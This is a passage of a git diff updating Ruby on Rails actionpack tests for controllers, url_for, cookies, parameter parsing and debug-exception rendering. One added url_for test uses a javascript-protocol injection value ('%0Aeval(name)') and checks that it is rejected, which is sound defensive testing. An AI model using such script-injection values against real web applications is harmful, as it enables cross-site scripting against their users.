assert_equal 'text/html', @request.headers['Content-type'] + assert_equal 'foo.html', @request.request_parameters[:name] + assert_equal 'render_body', @request.path_parameters[:action] + end + + def test_mutating_content_type_headers_for_non_registered_mime_type_raises_an_error + assert_raises(RuntimeError) do + @request.headers['Content-Type'] = 'type/fake' + post :render_body, params: { name: 'foo.fake' } + end + end + def test_id_converted_to_string get :test_params, params: { id: 20, foo: Object.new @@ -664,7 +674,10 @@ XML with_routing do |set| set.draw do get 'file/*path', to: 'test_case_test/test#test_params' - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :test_params, params: { path: ['hello', 'world'] } @@ -714,13 +727,13 @@ XML def test_deprecated_xhr_with_params assert_deprecated { xhr :get, :test_params, params: { id: 1 } } - assert_equal(%({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}), @response.body) + assert_equal({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}, ::JSON.parse(@response.body)) end def test_xhr_with_params get :test_params, params: { id: 1 }, xhr: true - assert_equal(%({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}), @response.body) + assert_equal({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}, ::JSON.parse(@response.body)) end def test_xhr_with_session @@ -741,12 +754,6 @@ XML assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access" end - def test_header_properly_reset_after_get_request - get :test_params - @request.recycle! - assert_nil @request.instance_variable_get("@request_method") - end - def test_deprecated_params_reset_between_post_requests assert_deprecated { post :no_op, foo: "bar" } assert_equal "bar", @request.params[:foo] @@ -831,6 +838,12 @@ XML assert_equal 'bar', cookies['foo'] end + def test_cookies_should_be_escaped_properly + cookies['foo'] = '+' + get :render_cookie + assert_equal '+', @response.body + end + def test_should_detect_if_cookie_is_deleted cookies['foo'] = 'bar' get :delete_cookie @@ -878,10 +891,10 @@ XML end def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case - TestCaseTest.stubs(:fixture_path).returns(FILES_DIR) - - uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png') - assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read + TestCaseTest.stub :fixture_path, FILES_DIR do + uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png') + assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read + end end def test_test_uploaded_file_with_binary @@ -908,6 +921,11 @@ XML assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read end + def test_fixture_file_upload_should_be_able_access_to_tempfile + file = fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg") + assert file.respond_to?(:tempfile), "expected tempfile should respond on fixture file object, got nothing" + end + def test_fixture_file_upload post :test_file_upload, params: { @@ -917,13 +935,13 @@ XML end def test_fixture_file_upload_relative_to_fixture_path - TestCaseTest.stubs(:fixture_path).returns(FILES_DIR) - uploaded_file = fixture_file_upload("mona_lisa.jpg", "image/jpg") - assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read + TestCaseTest.stub :fixture_path, FILES_DIR do + uploaded_file = fixture_file_upload("mona_lisa.jpg", "image/jpg") + assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read + end end def test_fixture_file_upload_ignores_nil_fixture_path - TestCaseTest.stubs(:fixture_path).returns(nil) uploaded_file = fixture_file_upload("#{FILES_DIR}/mona_lisa.jpg", "image/jpg") assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read end @@ -932,7 +950,7 @@ XML filename = 'mona_lisa.jpg' path = "#{FILES_DIR}/#{filename}" assert_deprecated { - post :test_file_upload, file: ActionDispatch::Http::UploadedFile.new(filename: path, type: "image/jpg", tempfile: File.open(path)) + post :test_file_upload, file: Rack::Test::UploadedFile.new(path, "image/jpg", true) } assert_equal '159528', @response.body end @@ -941,7 +959,7 @@ XML filename = 'mona_lisa.jpg' path = "#{FILES_DIR}/#{filename}" post :test_file_upload, params: { - file: ActionDispatch::Http::UploadedFile.new(filename: path, type: "image/jpg", tempfile: File.open(path)) + file: Rack::Test::UploadedFile.new(path, "image/jpg", true) } assert_equal '159528', @response.body end @@ -971,12 +989,18 @@ class ResponseDefaultHeadersTest < ActionController::TestCase headers.delete params[:header] head :ok, 'C' => '3' end + + # Render a head response, but don't touch default headers + def leave_alone + head :ok + end end - setup do + def before_setup @original = ActionDispatch::Response.default_headers @defaults = { 'A' => '1', 'B' => '2' } ActionDispatch::Response.default_headers = @defaults + super end teardown do @@ -986,20 +1010,24 @@ class ResponseDefaultHeadersTest < ActionController::TestCase def setup super @controller = TestController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new @request.env['PATH_INFO'] = nil @routes = ActionDispatch::Routing::RouteSet.new.tap do |r| r.draw do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end end end test "response contains default headers" do + get :leave_alone + # Response headers start out with the defaults - assert_equal @defaults, response.headers + assert_equal @defaults.merge('Content-Type' => 'text/html'), response.headers + end + test "response deletes a default header" do get :remove_header, params: { header: 'A' } assert_response :ok @@ -1022,7 +1050,7 @@ module EngineControllerTests class BarController < ActionController::Base def index - render text: 'bar' + render plain: 'bar' end end @@ -1108,13 +1136,15 @@ class AnonymousControllerTest < ActionController::TestCase def setup @controller = Class.new(ActionController::Base) do def index - render text: params[:controller] + render plain: params[:controller] end end.new @routes = ActionDispatch::Routing::RouteSet.new.tap do |r| r.draw do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end end end @@ -1129,11 +1159,11 @@ class RoutingDefaultsTest < ActionController::TestCase def setup @controller = Class.new(ActionController::Base) do def post - render text: request.fullpath + render plain: request.fullpath end def project - render text: request.fullpath + render plain: request.fullpath end end.new diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb index 0e4c2b7c32..a6ca5fc868 100644 --- a/actionpack/test/controller/url_for_integration_test.rb +++ b/actionpack/test/controller/url_for_integration_test.rb @@ -52,12 +52,15 @@ module ActionPack get 'news(.:format)' => "news#index" - get 'comment/:id(/:action)' => "comments#show" - get 'ws/:controller(/:action(/:id))', :ws => true - get 'account(/:action)' => "account#subscription" - get 'pages/:page_id/:controller(/:action(/:id))' - get ':controller/ping', :action => 'ping' - get ':controller(/:action(/:id))(.:format)' + ActiveSupport::Deprecation.silence { + get 'comment/:id(/:action)' => "comments#show" + get 'ws/:controller(/:action(/:id))', :ws => true + get 'account(/:action)' => "account#subscription" + get 'pages/:page_id/:controller(/:action(/:id))' + get ':controller/ping', :action => 'ping' + get ':controller(/:action(/:id))(.:format)' + } + root :to => "news#index" } @@ -158,6 +161,7 @@ module ActionPack ['/posts/ping',[ { :controller => 'posts', :action => 'ping' }]], ['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1' }]], + ['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1', :format => '' }]], ['/posts',[ { :controller => 'posts' }]], ['/posts',[ { :controller => 'posts', :action => 'index' }]], ['/posts/create',[ { :action => 'create' }, {:day=>nil, :month=>nil, :controller=>"posts", :action=>"show_date"}, '/blog']], diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb index 31677f202d..b4d2088c0a 100644 --- a/actionpack/test/controller/url_for_test.rb +++ b/actionpack/test/controller/url_for_test.rb @@ -4,7 +4,13 @@ module AbstractController module Testing class UrlForTest < ActionController::TestCase class W - include ActionDispatch::Routing::RouteSet.new.tap { |r| r.draw { get ':controller(/:action(/:id(.:format)))' } }.url_helpers + include ActionDispatch::Routing::RouteSet.new.tap { |r| + r.draw { + ActiveSupport::Deprecation.silence { + get ':controller(/:action(/:id(.:format)))' + } + } + }.url_helpers end def teardown @@ -260,7 +266,7 @@ module AbstractController w = Class.new { config = ActionDispatch::Routing::RouteSet::Config.new '/subdir' r = ActionDispatch::Routing::RouteSet.new(config) - r.draw { get ':controller(/:action(/:id(.:format)))' } + r.draw { ActiveSupport::Deprecation.silence { get ':controller(/:action(/:id(.:format)))' } } include r.url_helpers } add_host!(w) @@ -315,7 +321,10 @@ module AbstractController with_routing do |set| set.draw do get 'home/sweet/home/:user', :to => 'home#index', :as => :home - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end # We need to create a new class in order to install the new named route. @@ -375,6 +384,13 @@ module AbstractController assert_equal({'query[person][position][]' => 'prof' }.to_query, params[3]) end + def test_url_action_controller_parameters + add_host! + assert_raise(ArgumentError) do + W.new.url_for(ActionController::Parameters.new(:controller => 'c', :action => 'a', protocol: 'javascript', f: '%0Aeval(name)')) + end + end + def test_path_generation_for_symbol_parameter_keys assert_generates("/image", :controller=> :image) end @@ -451,6 +467,26 @@ module AbstractController end end + def test_url_for_with_array_is_unmodified + with_routing do |set| + set.draw do + namespace :admin do + resources :posts + end + end + + kls = Class.new { include set.url_helpers } + kls.default_url_options[:host] = 'www.basecamphq.com' + + original_components = [:new, :admin, :post, { param: 'value' }] + components = original_components.dup + + kls.new.url_for(components) + + assert_equal(original_components, components) + end + end + private def extract_params(url) url.split('?', 2).last.split('&').sort diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb index d9a1ae7d4f..bc0d215530 100644 --- a/actionpack/test/controller/url_rewriter_test.rb +++ b/actionpack/test/controller/url_rewriter_test.rb @@ -1,7 +1,7 @@ require 'abstract_unit' require 'controller/fake_controllers' -class UrlRewriterTests < ActiveSupport::TestCase +class UrlRewriterTests < ActionController::TestCase class Rewriter def initialize(request) @options = { @@ -16,12 +16,13 @@ class UrlRewriterTests < ActiveSupport::TestCase end def setup - @request = ActionController::TestRequest.new @params = {} @rewriter = Rewriter.new(@request) #.new(@request, @params) @routes = ActionDispatch::Routing::RouteSet.new.tap do |r| r.draw do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end end end diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb index 21fa670bb6..daf17558aa 100644 --- a/actionpack/test/controller/webservice_test.rb +++ b/actionpack/test/controller/webservice_test.rb @@ -5,16 +5,22 @@ class WebServiceTest < ActionDispatch::IntegrationTest class TestController < ActionController::Base def assign_parameters if params[:full] - render :text => dump_params_keys + render plain: dump_params_keys else - render :text => (params.keys - ['controller', 'action']).sort.join(", ") + render plain: (params.keys - ['controller', 'action']).sort.join(", ") end end def dump_params_keys(hash = params) hash.keys.sort.inject("") do |s, k| value = hash[k] - value = Hash === value ? "(#{dump_params_keys(value)})" : "" + + if value.is_a?(Hash) || value.is_a?(ActionController::Parameters) + value = "(#{dump_params_keys(value)})" + else + value = "" + end + s << ", " unless s.empty? s << "#{k}#{value}" end @@ -59,7 +65,7 @@ class WebServiceTest < ActionDispatch::IntegrationTest def test_register_and_use_json_simple with_test_route_set do - with_params_parsers Mime::JSON => Proc.new { |data| ActiveSupport::JSON.decode(data)['request'].with_indifferent_access } do + with_params_parsers Mime[:json] => Proc.new { |data| ActiveSupport::JSON.decode(data)['request'].with_indifferent_access } do post "/", params: '{"request":{"summary":"content...","title":"JSON"}}', headers: { 'CONTENT_TYPE' => 'application/json' } @@ -91,24 +97,28 @@ class WebServiceTest < ActionDispatch::IntegrationTest end def test_parsing_json_doesnot_rescue_exception - with_test_route_set do - with_params_parsers Mime::JSON => Proc.new { |data| raise Interrupt } do - assert_raises(Interrupt) do - post "/", - params: '{"title":"JSON"}}', - headers: { 'CONTENT_TYPE' => 'application/json' } - end + req = Class.new(ActionDispatch::Request) do + def params_parsers + { json: Proc.new { |data| raise Interrupt } } end + + def content_length; get_header('rack.input').length; end + end.new({ 'rack.input' => StringIO.new('{"title":"JSON"}}'), 'CONTENT_TYPE' => 'application/json' }) + + assert_raises(Interrupt) do + req.request_parameters end end private def with_params_parsers(parsers = {}) old_session = @integration_session - @app = ActionDispatch::ParamsParser.new(app.routes, parsers) + original_parsers = ActionDispatch::Request.parameter_parsers + ActionDispatch::Request.parameter_parsers = original_parsers.merge parsers reset! yield ensure + ActionDispatch::Request.parameter_parsers = original_parsers @integration_session = old_session end diff --git a/actionpack/test/dispatch/callbacks_test.rb b/actionpack/test/dispatch/callbacks_test.rb index f767b07e75..7b707df7f6 100644 --- a/actionpack/test/dispatch/callbacks_test.rb +++ b/actionpack/test/dispatch/callbacks_test.rb @@ -28,7 +28,7 @@ class DispatcherTest < ActiveSupport::TestCase assert_equal 4, Foo.a assert_equal 4, Foo.b - dispatch do |env| + dispatch do raise "error" end rescue nil assert_equal 6, Foo.a @@ -37,13 +37,19 @@ class DispatcherTest < ActiveSupport::TestCase def test_to_prepare_and_cleanup_delegation prepared = cleaned = false - ActionDispatch::Callbacks.to_prepare { prepared = true } - ActionDispatch::Callbacks.to_prepare { cleaned = true } + assert_deprecated do + ActionDispatch::Callbacks.to_prepare { prepared = true } + ActionDispatch::Callbacks.to_prepare { cleaned = true } + end - ActionDispatch::Reloader.prepare! + assert_deprecated do + ActionDispatch::Reloader.prepare! + end assert prepared - ActionDispatch::Reloader.cleanup! + assert_deprecated do + ActionDispatch::Reloader.cleanup! + end assert cleaned end diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb index 6223a52a76..dfcef14344 100644 --- a/actionpack/test/dispatch/cookies_test.rb +++ b/actionpack/test/dispatch/cookies_test.rb @@ -3,6 +3,75 @@ require 'openssl' require 'active_support/key_generator' require 'active_support/message_verifier' +class CookieJarTest < ActiveSupport::TestCase + attr_reader :request + + def setup + @request = ActionDispatch::Request.empty + end + + def test_fetch + x = Object.new + assert_not request.cookie_jar.key?('zzzzzz') + assert_equal x, request.cookie_jar.fetch('zzzzzz', x) + assert_not request.cookie_jar.key?('zzzzzz') + end + + def test_fetch_exists + x = Object.new + request.cookie_jar['foo'] = 'bar' + assert_equal 'bar', request.cookie_jar.fetch('foo', x) + end + + def test_fetch_block + x = Object.new + assert_not request.cookie_jar.key?('zzzzzz') + assert_equal x, request.cookie_jar.fetch('zzzzzz') { x } + end + + def test_key_is_to_s + request.cookie_jar['foo'] = 'bar' + assert_equal 'bar', request.cookie_jar.fetch(:foo) + end + + def test_fetch_type_error + assert_raises(KeyError) do + request.cookie_jar.fetch(:omglolwut) + end + end + + def test_each + request.cookie_jar['foo'] = :bar + list = [] + request.cookie_jar.each do |k,v| + list << [k, v] + end + + assert_equal [['foo', :bar]], list + end + + def test_enumerable + request.cookie_jar['foo'] = :bar + actual = request.cookie_jar.map { |k,v| [k.to_s, v.to_s] } + assert_equal [['foo', 'bar']], actual + end + + def test_key_methods + assert !request.cookie_jar.key?(:foo) + assert !request.cookie_jar.has_key?("foo") + + request.cookie_jar[:foo] = :bar + assert request.cookie_jar.key?(:foo) + assert request.cookie_jar.has_key?("foo") + end + + def test_write_doesnt_set_a_nil_header + headers = {} + request.cookie_jar.write(headers) + assert !headers.include?('Set-Cookie') + end +end + class CookiesTest < ActionController::TestCase class CustomSerializer def self.load(value) @@ -14,16 +83,6 @@ class CookiesTest < ActionController::TestCase end end - class JSONWrapper - def initialize(obj) - @obj = obj - end - - def as_json(options = nil) - "wrapped: #{@obj.as_json(options)}" - end - end - class TestController < ActionController::Base def authenticate cookies["user_name"] = "david" @@ -88,11 +147,6 @@ class CookiesTest < ActionController::TestCase head :ok end - def set_wrapped_signed_cookie - cookies.signed[:user_id] = JSONWrapper.new(45) - head :ok - end - def get_signed_cookie cookies.signed[:user_id] head :ok @@ -103,6 +157,21 @@ class CookiesTest < ActionController::TestCase head :ok end + class JSONWrapper + def initialize(obj) + @obj = obj + end + + def as_json(options = nil) + "wrapped: #{@obj.as_json(options)}" + end + end + + def set_wrapped_signed_cookie + cookies.signed[:user_id] = JSONWrapper.new(45) + head :ok + end + def set_wrapped_encrypted_cookie cookies.encrypted[:foo] = JSONWrapper.new('bar') head :ok @@ -207,68 +276,18 @@ class CookiesTest < ActionController::TestCase tests TestController + SALT = 'b3c631c314c0bbca50c1b2843150fe33' + def setup super - @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33", iterations: 2) - @request.env["action_dispatch.signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33" - @request.env["action_dispatch.encrypted_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33" - @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33" - @request.host = "www.nextangle.com" - end - - def test_fetch - x = Object.new - assert_not request.cookie_jar.key?('zzzzzz') - assert_equal x, request.cookie_jar.fetch('zzzzzz', x) - assert_not request.cookie_jar.key?('zzzzzz') - end - - def test_fetch_exists - x = Object.new - request.cookie_jar['foo'] = 'bar' - assert_equal 'bar', request.cookie_jar.fetch('foo', x) - end - - def test_fetch_block - x = Object.new - assert_not request.cookie_jar.key?('zzzzzz') - assert_equal x, request.cookie_jar.fetch('zzzzzz') { x } - end - - def test_key_is_to_s - request.cookie_jar['foo'] = 'bar' - assert_equal 'bar', request.cookie_jar.fetch(:foo) - end - - def test_fetch_type_error - assert_raises(KeyError) do - request.cookie_jar.fetch(:omglolwut) - end - end - def test_each - request.cookie_jar['foo'] = :bar - list = [] - request.cookie_jar.each do |k,v| - list << [k, v] - end + @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new(SALT, iterations: 2) - assert_equal [['foo', :bar]], list - end + @request.env["action_dispatch.signed_cookie_salt"] = + @request.env["action_dispatch.encrypted_cookie_salt"] = + @request.env["action_dispatch.encrypted_signed_cookie_salt"] = SALT - def test_enumerable - request.cookie_jar['foo'] = :bar - actual = request.cookie_jar.map { |k,v| [k.to_s, v.to_s] } - assert_equal [['foo', 'bar']], actual - end - - def test_key_methods - assert !request.cookie_jar.key?(:foo) - assert !request.cookie_jar.has_key?("foo") - - request.cookie_jar[:foo] = :bar - assert request.cookie_jar.key?(:foo) - assert request.cookie_jar.has_key?("foo") + @request.host = "www.nextangle.com" end def test_setting_cookie @@ -280,7 +299,7 @@ class CookiesTest < ActionController::TestCase def test_setting_the_same_value_to_cookie request.cookies[:user_name] = 'david' get :authenticate - assert response.cookies.empty? + assert_predicate response.cookies, :empty? end def test_setting_the_same_value_to_permanent_cookie @@ -321,10 +340,12 @@ class CookiesTest < ActionController::TestCase end def test_setting_cookie_with_secure_when_always_write_cookie_is_true - ActionDispatch::Cookies::CookieJar.any_instance.stubs(:always_write_cookie).returns(true) + old_cookie, @request.cookie_jar.always_write_cookie = @request.cookie_jar.always_write_cookie, true get :authenticate_with_secure assert_cookie_header "user_name=david; path=/; secure" assert_equal({"user_name" => "david"}, @response.cookies) + ensure + @request.cookie_jar.always_write_cookie = old_cookie end def test_not_setting_cookie_with_secure @@ -360,7 +381,7 @@ class CookiesTest < ActionController::TestCase def test_delete_unexisting_cookie request.cookies.clear get :delete_cookie - assert @response.cookies.empty? + assert_predicate @response.cookies, :empty? end def test_deleted_cookie_predicate @@ -378,7 +399,7 @@ class CookiesTest < ActionController::TestCase def test_cookies_persist_throughout_request response = get :authenticate - assert response.headers["Set-Cookie"] =~ /user_name=david/ + assert_match(/user_name=david/, response.headers["Set-Cookie"]) end def test_set_permanent_cookie @@ -651,6 +672,15 @@ class CookiesTest < ActionController::TestCase end end + def test_cookie_jar_mutated_by_request_persists_on_future_requests + get :authenticate + cookie_jar = @request.cookie_jar + cookie_jar.signed[:user_id] = 123 + assert_equal ["user_name", "user_id"], @request.cookie_jar.instance_variable_get(:@cookies).keys + get :get_signed_cookie + assert_equal ["user_name", "user_id"], @request.cookie_jar.instance_variable_get(:@cookies).keys + end + def test_raises_argument_error_if_missing_secret assert_raise(ArgumentError, nil.inspect) { @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(nil) @@ -1072,11 +1102,11 @@ class CookiesTest < ActionController::TestCase assert_equal "david", cookies[:user_name] get :noop - assert_nil @response.headers["Set-Cookie"] + assert !@response.headers.include?("Set-Cookie") assert_equal "david", cookies[:user_name] get :noop - assert_nil @response.headers["Set-Cookie"] + assert !@response.headers.include?("Set-Cookie") assert_equal "david", cookies[:user_name] end diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb index a867aee7ec..5a39db145e 100644 --- a/actionpack/test/dispatch/debug_exceptions_test.rb +++ b/actionpack/test/dispatch/debug_exceptions_test.rb @@ -27,43 +27,47 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest env['action_dispatch.show_detailed_exceptions'] = @detailed req = ActionDispatch::Request.new(env) case req.path - when "/pass" + when %r{/pass} [404, { "X-Cascade" => "pass" }, self] - when "/not_found" + when %r{/not_found} raise AbstractController::ActionNotFound - when "/runtime_error" + when %r{/runtime_error} raise RuntimeError - when "/method_not_allowed" + when %r{/method_not_allowed} raise ActionController::MethodNotAllowed - when "/unknown_http_method" + when %r{/unknown_http_method} raise ActionController::UnknownHttpMethod - when "/not_implemented" + when %r{/not_implemented} raise ActionController::NotImplemented - when "/unprocessable_entity" + when %r{/unprocessable_entity} raise ActionController::InvalidAuthenticityToken - when "/not_found_original_exception" - raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new) - when "/missing_template" + when %r{/not_found_original_exception} + begin + raise AbstractController::ActionNotFound.new + rescue + raise ActionView::Template::Error.new('template') + end + when %r{/missing_template} raise ActionView::MissingTemplate.new(%w(foo), 'foo/index', %w(foo), false, 'mailer') - when "/bad_request" + when %r{/bad_request} raise ActionController::BadRequest - when "/missing_keys" + when %r{/missing_keys} raise ActionController::UrlGenerationError, "No route matches" - when "/parameter_missing" + when %r{/parameter_missing} raise ActionController::ParameterMissing, :missing_param_key - when "/original_syntax_error" + when %r{/original_syntax_error} eval 'broke_syntax =' # `eval` need for raise native SyntaxError at runtime - when "/syntax_error_into_view" + when %r{/syntax_error_into_view} begin eval 'broke_syntax =' - rescue Exception => e + rescue Exception template = ActionView::Template.new(File.read(__FILE__), __FILE__, ActionView::Template::Handlers::Raw.new, {}) - raise ActionView::Template::Error.new(template, e) + raise ActionView::Template::Error.new(template) end - when "/framework_raises" + when %r{/framework_raises} method_that_raises else raise "puke!" @@ -71,14 +75,6 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest end end - def setup - app = ActiveSupport::OrderedOptions.new - app.config = ActiveSupport::OrderedOptions.new - app.config.assets = ActiveSupport::OrderedOptions.new - app.config.assets.prefix = '/sprockets' - Rails.stubs(:application).returns(app) - end - RoutesApp = Struct.new(:routes).new(SharedTestRoutes) ProductionApp = ActionDispatch::DebugExceptions.new(Boomer.new(false), RoutesApp) DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp) @@ -170,6 +166,14 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest assert_equal "text/plain", response.content_type assert_match(/RuntimeError\npuke/, body) + Rails.stub :root, Pathname.new('.') do + get "/", headers: xhr_request_env + + assert_response 500 + assert_match 'Extracted source (around line #', body + assert_select 'pre', { count: 0 }, body + end + get "/not_found", headers: xhr_request_env assert_response 404 assert_no_match(/<body>/, body) @@ -201,6 +205,86 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest assert_match(/ActionController::ParameterMissing/, body) end + test "rescue with JSON error for JSON API request" do + @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api) + + get "/", headers: { 'action_dispatch.show_exceptions' => true }, as: :json + assert_response 500 + assert_no_match(/<header>/, body) + assert_no_match(/<body>/, body) + assert_equal "application/json", response.content_type + assert_match(/RuntimeError: puke/, body) + + get "/not_found", headers: { 'action_dispatch.show_exceptions' => true }, as: :json + assert_response 404 + assert_no_match(/<body>/, body) + assert_equal "application/json", response.content_type + assert_match(/#{AbstractController::ActionNotFound.name}/, body) + + get "/method_not_allowed", headers: { 'action_dispatch.show_exceptions' => true }, as: :json + assert_response 405 + assert_no_match(/<body>/, body) + assert_equal "application/json", response.content_type + assert_match(/ActionController::MethodNotAllowed/, body) + + get "/unknown_http_method", headers: { 'action_dispatch.show_exceptions' => true }, as: :json + assert_response 405 + assert_no_match(/<body>/, body) + assert_equal "application/json", response.content_type + assert_match(/ActionController::UnknownHttpMethod/, body) + + get "/bad_request", headers: { 'action_dispatch.show_exceptions' => true }, as: :json + assert_response 400 + assert_no_match(/<body>/, body) + assert_equal "application/json", response.content_type + assert_match(/ActionController::BadRequest/, body) + + get "/parameter_missing", headers: { 'action_dispatch.show_exceptions' => true }, as: :json + assert_response 400 + assert_no_match(/<body>/, body) + assert_equal "application/json", response.content_type + assert_match(/ActionController::ParameterMissing/, body) + end + + test "rescue with HTML format for HTML API request" do + @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api) + + get "/index.html", headers: { 'action_dispatch.show_exceptions' => true } + assert_response 500 + assert_match(/<header>/, body) + assert_match(/<body>/, body) + assert_equal "text/html", response.content_type + assert_match(/puke/, body) + end + + test "rescue with XML format for XML API requests" do + @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api) + + get "/index.xml", headers: { 'action_dispatch.show_exceptions' => true } + assert_response 500 + assert_equal "application/xml", response.content_type + assert_match(/RuntimeError: puke/, body) + end + + test "rescue with JSON format as fallback if API request format is not supported" do + begin + Mime::Type.register 'text/wibble', :wibble + + ActionDispatch::IntegrationTest.register_encoder(:wibble, + param_encoder: -> params { params }) + + @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api) + + get "/index", headers: { 'action_dispatch.show_exceptions' => true }, as: :wibble + assert_response 500 + assert_equal "application/json", response.content_type + assert_match(/RuntimeError: puke/, body) + + ensure + Mime::Type.unregister :wibble + end + end + test "does not show filtered parameters" do @app = DevelopmentApp @@ -280,9 +364,12 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest test 'uses backtrace cleaner from env' do @app = DevelopmentApp - cleaner = stub(:clean => ['passed backtrace cleaner']) - get "/", headers: { 'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => cleaner } - assert_match(/passed backtrace cleaner/, body) + backtrace_cleaner = ActiveSupport::BacktraceCleaner.new + + backtrace_cleaner.stub :clean, ['passed backtrace cleaner'] do + get "/", headers: { 'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => backtrace_cleaner } + assert_match(/passed backtrace cleaner/, body) + end end test 'logs exception backtrace when all lines silenced' do @@ -338,36 +425,37 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest test 'debug exceptions app shows user code that caused the error in source view' do @app = DevelopmentApp - Rails.stubs(:root).returns(Pathname.new('.')) - cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc| - bc.add_silencer { |line| line =~ /method_that_raises/ } - bc.add_silencer { |line| line !~ %r{test/dispatch/debug_exceptions_test.rb} } - end + Rails.stub :root, Pathname.new('.') do + cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc| + bc.add_silencer { |line| line =~ /method_that_raises/ } + bc.add_silencer { |line| line !~ %r{test/dispatch/debug_exceptions_test.rb} } + end - get '/framework_raises', headers: { 'action_dispatch.backtrace_cleaner' => cleaner } + get '/framework_raises', headers: { 'action_dispatch.backtrace_cleaner' => cleaner } - # Assert correct error - assert_response 500 - assert_select 'h2', /error in framework/ + # Assert correct error + assert_response 500 + assert_select 'h2', /error in framework/ - # assert source view line is the call to method_that_raises - assert_select 'div.source:not(.hidden)' do - assert_select 'pre .line.active', /method_that_raises/ - end + # assert source view line is the call to method_that_raises + assert_select 'div.source:not(.hidden)' do + assert_select 'pre .line.active', /method_that_raises/ + end - # assert first source view (hidden) that throws the error - assert_select 'div.source:first' do - assert_select 'pre .line.active', /raise StandardError\.new/ - end + # assert first source view (hidden) that throws the error + assert_select 'div.source:first' do + assert_select 'pre .line.active', /raise StandardError\.new/ + end - # assert application trace refers to line that calls method_that_raises is first - assert_select '#Application-Trace' do - assert_select 'pre code a:first', %r{test/dispatch/debug_exceptions_test\.rb:\d+:in `call} - end + # assert application trace refers to line that calls method_that_raises is first + assert_select '#Application-Trace' do + assert_select 'pre code a:first', %r{test/dispatch/debug_exceptions_test\.rb:\d+:in `call} + end - # assert framework trace that that threw the error is first - assert_select '#Framework-Trace' do - assert_select 'pre code a:first', /method_that_raises/ + # assert framework trace that threw the error is first + assert_select '#Framework-Trace' do + assert_select 'pre code a:first', /method_that_raises/ + end end end end diff --git a/actionpack/test/dispatch/exception_wrapper_test.rb b/actionpack/test/dispatch/exception_wrapper_test.rb index 7a29a7ff97..dfbb91c0ca 100644 --- a/actionpack/test/dispatch/exception_wrapper_test.rb +++ b/actionpack/test/dispatch/exception_wrapper_test.rb @@ -17,51 +17,49 @@ module ActionDispatch end setup do - Rails.stubs(:root).returns(Pathname.new('.')) - - cleaner = ActiveSupport::BacktraceCleaner.new - cleaner.add_silencer { |line| line !~ /^lib/ } - - @environment = { 'action_dispatch.backtrace_cleaner' => cleaner } + @cleaner = ActiveSupport::BacktraceCleaner.new + @cleaner.add_silencer { |line| line !~ /^lib/ } end test '#source_extracts fetches source fragments for every backtrace entry' do exception = TestError.new("lib/file.rb:42:in `index'") - wrapper = ExceptionWrapper.new({}, exception) - - wrapper.expects(:source_fragment).with('lib/file.rb', 42).returns('foo') + wrapper = ExceptionWrapper.new(nil, exception) - assert_equal [ code: 'foo', line_number: 42 ], wrapper.source_extracts + assert_called_with(wrapper, :source_fragment, ['lib/file.rb', 42], returns: 'foo') do + assert_equal [ code: 'foo', line_number: 42 